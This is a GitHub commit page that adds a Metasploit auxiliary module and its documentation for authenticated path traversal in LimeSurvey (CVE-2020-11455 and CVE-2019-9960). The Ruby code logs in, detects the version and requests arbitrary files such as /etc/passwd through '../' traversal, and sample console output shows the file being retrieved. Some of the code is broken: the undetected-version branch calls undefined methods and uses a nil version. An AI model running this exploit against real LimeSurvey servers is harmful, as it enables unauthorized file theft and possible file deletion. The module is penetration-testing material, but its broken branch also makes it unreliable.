-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #13215, add LimeSurvey directory traversals
- Loading branch information
Showing
2 changed files
with
335 additions
and
0 deletions.
There are no files selected for viewing
134 changes: 134 additions & 0 deletions
134
documentation/modules/auxiliary/scanner/http/limesurvey_zip_traversals.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,134 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits an authenticated path traversal vulnerability found in LimeSurvey versions between 4.0 and 4.1.11 with | ||
CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960, inclusive. | ||
|
||
In CVE-2020-11455 the `getZipFile` function within the `filemanager` functionality allows for arbitrary file download. The file retrieved | ||
may be deleted after viewing. | ||
|
||
In CVE-2019-9960 the `szip` function within the `downloadZip` functionality allows for arbitrary file download. | ||
|
||
This module has been verified against the following versions: | ||
|
||
* 4.1.11-200316 | ||
* 3.15.0-181008 | ||
* 3.9.0-180604 | ||
* 3.6.0-180328 | ||
* 3.0.0-171222 | ||
* 2.70.0-170921 | ||
|
||
### Install | ||
|
||
This application is straight forward to install. An excellent writeup is available on | ||
[howtoforge.com](https://www.howtoforge.com/tutorial/how-to-install-limesurvey-on-ubuntu-1804/) | ||
|
||
Versions can be downloaded from [github](https://github.com/LimeSurvey/LimeSurvey/releases). | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
2. Start msfconsole | ||
3. Do: ```use auxiliary/scanner/http/limesurvey_zip_traversals``` | ||
4. Do: ```set file [file]``` | ||
5. Do: ```set rhosts [ip]``` | ||
6. Do: ```run``` | ||
7. If the file is readable, you should retrieve a file from the application | ||
|
||
## Options | ||
|
||
### FILE | ||
|
||
The file to attempt to retrieve | ||
|
||
## Scenarios | ||
|
||
### LimeSurvey 4.1.11, 3.15.0, 3.9.0, 3.6.0, 3.0.0, and 2.70.0 on Ubuntu 18.04 | ||
|
||
``` | ||
[*] Processing lime41.rb for ERB directives. | ||
resource (lime41.rb)> use auxiliary/scanner/http/limesurvey_zip_traversals | ||
resource (lime41.rb)> set rhosts 2.2.2.2 | ||
rhosts => 2.2.2.2 | ||
resource (lime41.rb)> set verbose true | ||
verbose => true | ||
resource (lime41.rb)> set targeturi /LimeSurvey-4.1.11-200316/ | ||
targeturi => /LimeSurvey-4.1.11-200316/ | ||
resource (lime41.rb)> run | ||
[*] CSRF: YII_CSRF_TOKEN => SzF-eUl4RW1lU0h-aFZxWmNwbGZOREJrYUduZzI1WTaGH7eqrOmgcse5liKfPNZ8qqKkvenm5Fu6oxTSyVWDrQ== | ||
[+] Login Successful | ||
[*] Version Detected: 4.1.11 | ||
[*] Attempting to retrieve file | ||
[+] File stored to: /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
resource (lime41.rb)> set targeturi /LimeSurvey-3.15.0-181008/ | ||
targeturi => /LimeSurvey-3.15.0-181008/ | ||
resource (lime41.rb)> run | ||
[*] CSRF: YII_CSRF_TOKEN => SDNyc21VYXJONmIwbjFkOENmUzEyS1NMX3lPQ0VYRTJyfE0iGABAxOsuZhxGdZd59W3dNCVx2D6JABRxmu6dgw== | ||
[+] Login Successful | ||
[*] Version Detected: 3.15.0 | ||
[*] Attempting to retrieve file | ||
[+] File stored to: /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__530709.txt | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
resource (lime41.rb)> set targeturi /LimeSurvey-3.9.0-180604/ | ||
targeturi => /LimeSurvey-3.9.0-180604/ | ||
resource (lime41.rb)> run | ||
[*] CSRF: YII_CSRF_TOKEN => QldPa0lZM0o0cUV-STU4NWVoYVlDdHNtYmhmVVl6NW39a1wvfep0Ccsuz_gx9V1AnMjtADnprALM7qwvxUz3Wg== | ||
[+] Login Successful | ||
[*] Version Detected: 3.9.0 | ||
[*] Attempting to retrieve file | ||
[+] File stored to: /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__407491.txt | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
resource (lime41.rb)> set targeturi /LimeSurvey-3.6.0-180328/ | ||
targeturi => /LimeSurvey-3.6.0-180328/ | ||
resource (lime41.rb)> run | ||
[*] CSRF: YII_CSRF_TOKEN => SHJzSk81ak5rdWdONTJWV0VLQTlHcjRKeGNIaFlYREqfcU-BuMlPRimIHJipKDsrCF3i7j29J4bNFwxsYGD42A== | ||
[+] Login Successful | ||
[*] Version Detected: 3.6.0 | ||
[*] Attempting to retrieve file | ||
[+] File stored to: /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__228237.txt | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
resource (lime41.rb)> set targeturi /LimeSurvey-3.0.0-171222/ | ||
targeturi => /LimeSurvey-3.0.0-171222/ | ||
resource (lime41.rb)> run | ||
[*] CSRF: YII_CSRF_TOKEN => T1VkbDlhYU9IbkZHel9wd0JoVVl5RTUxQ2h2Mk9yN0-AXAtaTDCOMX8gWru7EmBHPBumgY0FG0vAFLwCwyeeuA== | ||
[+] Login Successful | ||
[*] Version Detected: 3.0.0 | ||
[*] Attempting to retrieve file | ||
[+] File stored to: /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__611969.txt | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
resource (lime41.rb)> set targeturi /LimeSurvey-2.70.0-170921/ | ||
targeturi => /LimeSurvey-2.70.0-170921/ | ||
resource (lime41.rb)> run | ||
[*] CSRF: YII_CSRF_TOKEN => elhvTzJaWGlJWU10WnBFajlTYmN5a1VHY1M0bDNJd1C2okYXL__0in7KMlmwY6_Iuk8sI7H7s2zQPZ5NiWW_Xg== | ||
[+] Login Successful | ||
[*] Version Detected: 2.70.0 | ||
[*] Attempting to retrieve file | ||
[+] File stored to: /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__149900.txt | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
resource (lime41.rb)> md5sum ~/.msf4/loot/* | ||
[*] exec: md5sum ~/.msf4/loot/* | ||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt | ||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__530709.txt | ||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__228237.txt | ||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__407491.txt | ||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__149900.txt | ||
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__611969.txt | ||
msf5 auxiliary(scanner/http/limesurvey_zip_traversals) > cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt | ||
[*] exec: cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt | ||
root:x:0:0:root:/root:/bin/bash | ||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | ||
bin:x:2:2:bin:/bin:/usr/sbin/nologin | ||
sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||
sync:x:4:65534:sync:/bin:/bin/sync | ||
games:x:5:60:games:/usr/games:/usr/sbin/nologin | ||
...snip... | ||
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false | ||
``` |
201 changes: 201 additions & 0 deletions
201
modules/auxiliary/scanner/http/limesurvey_zip_traversals.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,201 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Auxiliary::Report | ||
include Msf::Auxiliary::Scanner | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "LimeSurvey Zip Path Traversals", | ||
'Description' => %q{ | ||
This module exploits an authenticated path traversal vulnerability found in LimeSurvey | ||
versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960, | ||
inclusive. | ||
In CVE-2020-11455 the getZipFile function within the filemanager functionality | ||
allows for arbitrary file download. The file retrieved may be deleted after viewing, | ||
which was confirmed in testing. | ||
In CVE-2019-9960 the szip function within the downloadZip functionality allows | ||
for arbitrary file download. | ||
Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328, | ||
3.0.0-171222, and 2.70.0-170921. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'h00die', # msf module | ||
'Matthew Aberegg', # edb/discovery cve 2020 | ||
'Michael Burkey', # edb/discovery cve 2020 | ||
'Federico Fernandez', #cve 2019 | ||
'Alejandro Parodi' # credited in cve 2019 writeup | ||
], | ||
'References' => | ||
[ | ||
# CVE-2020-11455 | ||
['EDB', '48297'], # CVE-2020-11455 | ||
['CVE', '2020-11455'], | ||
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b'], | ||
# CVE-2019-9960 | ||
['CVE', '2019-9960'], | ||
['URL', 'https://www.secsignal.org/en/news/cve-2019-9960-arbitrary-file-download-in-limesurvey/'], | ||
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/1ed10d3c423187712b8f6a8cb2bc9d5cc3b2deb8'] | ||
], | ||
'DisclosureDate' => "Apr 02 2020" | ||
)) | ||
|
||
register_options( | ||
[ | ||
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]), | ||
OptString.new('TARGETURI', [true, 'The base path to the LimeSurvey installation', '/']), | ||
OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']), | ||
OptString.new('USERNAME', [true, 'LimeSurvey Username', 'admin']), | ||
OptString.new('PASSWORD', [true, 'LimeSurvey Password', 'password']) | ||
]) | ||
end | ||
|
||
def uri | ||
target_uri.path | ||
end | ||
|
||
def cve_2020_11455(cookie, ip) | ||
vprint_status('Attempting to retrieve file') | ||
print_error 'This method will possibly delete the file retrieved!!!' | ||
traversal = "../" * datastore['DEPTH'] | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, 'index.php', 'admin', 'filemanager', 'sa', 'getZipFile'), | ||
'cookie' => cookie, | ||
'vars_get' => { | ||
'path' => "#{traversal}#{datastore['FILE']}", | ||
} | ||
}) | ||
if res && res.code == 200 && res.body.length > 0 | ||
loot = store_loot('', "text/plain", ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal') | ||
print_good("File stored to: #{loot}") | ||
else | ||
print_bad("File not found or server not vulnerable") | ||
end | ||
end | ||
|
||
def cve_2019_9960_version_3(cookie, ip) | ||
vprint_status('Attempting to retrieve file') | ||
traversal = "../" * datastore['DEPTH'] | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, 'index.php', 'admin', 'export', 'sa', 'downloadZip'), | ||
'cookie' => cookie, | ||
'vars_get' => { | ||
'sZip' => "#{traversal}#{datastore['FILE']}", | ||
} | ||
}) | ||
if res && res.code == 200 && res.body.length > 0 | ||
loot = store_loot('', "text/plain", ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal') | ||
print_good("File stored to: #{loot}") | ||
else | ||
print_bad("File not found or server not vulnerable") | ||
end | ||
end | ||
|
||
# untested because I couldn't find when this applies. It is pre 2.7 definitely, but unsure when. | ||
# this URL scheme was noted in the secsignal write-up | ||
def cve_2019_9960_pre25(cookie, ip) | ||
vprint_status('Attempting to retrieve file') | ||
traversal = "../" * datastore['DEPTH'] | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, 'index.php'), | ||
'cookie' => cookie, | ||
'vars_get' => { | ||
'sZip' => "#{traversal}#{datastore['FILE']}", | ||
'r' => 'admin/export/sa/downloadZip' | ||
} | ||
}) | ||
if res && res.code == 200 && res.body.length > 0 | ||
loot = store_loot('', "text/plain", ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal') | ||
print_good("File stored to: #{loot}") | ||
else | ||
print_bad("File not found or server not vulnerable") | ||
end | ||
end | ||
|
||
def login | ||
# get csrf | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'), | ||
}) | ||
cookie = res.get_cookies | ||
fail_with(Failure::NoAccess, 'No response from server') unless res | ||
|
||
# this regex is version 4+ compliant, will fail on earlier versions which aren't vulnerable anyways. | ||
/"csrfTokenName":"(?<csrf_name>\w+)"/i =~ res.body | ||
/"csrfToken":"(?<csrf_value>[\w=-]+)"/i =~ res.body | ||
csrf_name = 'YII_CSRF_TOKEN' if csrf_name.blank? # default value | ||
fail_with(Failure::NoAccess, 'Unable to get CSRF values, check URI and server parameters.') if csrf_value.blank? | ||
vprint_status("CSRF: #{csrf_name} => #{csrf_value}") | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'), | ||
'cookie' => cookie, | ||
'vars_post' => { | ||
csrf_name => csrf_value, | ||
'authMethod' => 'Authdb', | ||
'user' => datastore['USERNAME'], | ||
'password' => datastore['PASSWORD'], | ||
'loginlang' => 'default', | ||
'action' => 'login', | ||
'width' => '100', | ||
'login_submit' => 'login', | ||
} | ||
}) | ||
|
||
if res && res.code==302 && res.headers['Location'].include?('login') # good login goes to location admin/index not admin/authentication/sa/login | ||
fail_with(Failure::NoAccess, 'No response from server') | ||
end | ||
vprint_good('Login Successful') | ||
res.get_cookies | ||
end | ||
|
||
def determine_version(cookie) | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, 'index.php', 'admin', 'index'), | ||
'cookie' => cookie | ||
}) | ||
fail_with(Failure::NoAccess, 'No response from server') unless res | ||
/Version\s+(?<version>\d\.\d{1,2}\.\d{1,2})/ =~ res.body | ||
return nil unless version | ||
Gem::Version::new(version) | ||
end | ||
|
||
def run_host(ip) | ||
cookie = login | ||
version = determine_version cookie | ||
if version.nil? | ||
# try them all!!! | ||
print_status('Unable to determine version, trying all exploits') | ||
cve_2020_11455 cookie, ip | ||
cve_2019_9960_3_15_9 cookie, ip | ||
cve_2019_9960_pre3_15_9 cookie, ip | ||
end | ||
vprint_status "Version Detected: #{version.version}" | ||
if version.between?(Gem::Version.new('4.0'), Gem::Version.new('4.1.11')) | ||
cve_2020_11455 cookie, ip | ||
elsif version.between?(Gem::Version.new('2.50.0'), Gem::Version.new('3.15.9')) | ||
cve_2019_9960_version_3 cookie, ip | ||
# 2.50 is when LimeSurvey started doing almost daily releases. This version was | ||
# picked arbitrarily as I can't seem to find a lower bounds on when this other | ||
# method may be needed. | ||
elsif version < Gem::Version.new('2.50.0') | ||
cve_2019_9960_pre25 cookie, ip | ||
else | ||
print_bad "No exploit for version #{version.version}" | ||
end | ||
end | ||
end | ||
|